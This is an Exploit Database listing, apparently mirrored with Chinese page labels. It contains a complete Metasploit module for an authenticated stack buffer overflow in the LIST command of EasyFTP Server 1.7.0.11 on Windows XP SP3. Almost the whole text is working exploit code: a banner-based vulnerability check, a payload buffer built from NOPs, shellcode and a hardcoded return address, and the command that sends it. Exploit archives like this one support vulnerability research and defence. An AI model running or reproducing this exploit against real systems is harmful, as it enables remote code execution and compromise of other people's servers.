EasyFTP Server 1.7.0.11 – ‘LIST’ (Authenticated) Remote Buffer Overflow (Metasploit)

• Exploit Database
• 8 阅读

• 作者： Muhamad Fadzil Ramli
  日期： 2010-07-23
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14451/

• ##
  # EDB-ID: 14400
  # Date : July 5, 2010
  # Discovered by : Karn Ganeshen
  # Version : 1.7.0.11
  # Tested on : Windows XP SP3 Version 2002
  # MFR& VAS TEAM : just testing howto convert exploits to metasploit modules.
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11.
  					credit goes to Karn Ganeshan.	
  			},
  			'Author' =>
  				[
  					'Karn Ganeshan <karnganeshan [at] gmail.com>', # original version
  					'MFR' # convert to metasploit format.
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> 'Version: 1',
  			'References' =>
  				[
  					[ 'EDB', '14400' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread'
  				},
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 268,
  					'BadChars' => "\x00\x0a\x0d\x2f\x5c", 
  					'DisableNops' => false
  				},
  			'Platform'	 => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP SP3 - Version 2002', { 'Ret' => 0x7e49732b } ],
  				],
  			'DisclosureDate' => 'July 5 2010',
  			'DefaultTarget' => 0))
  	end
  
  	def check
  		connect
  		disconnect
  
  		if (banner =~ /BigFoolCat/)
  			return Exploit::CheckCode::Vulnerable
  		end
  			return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect_login
  
  		buf = ''
  		buf << make_nops(268 - payload.encoded.length - 4)
  		print_status("Adding the payload...")
  		buf << payload.encoded
  		buf << [target.ret].pack('V')
  
  		print_status("Sending exploit buffer...")
  		send_cmd( ['LIST', buf] , false) 
  
  		handler
  		disconnect
  	end
  
  end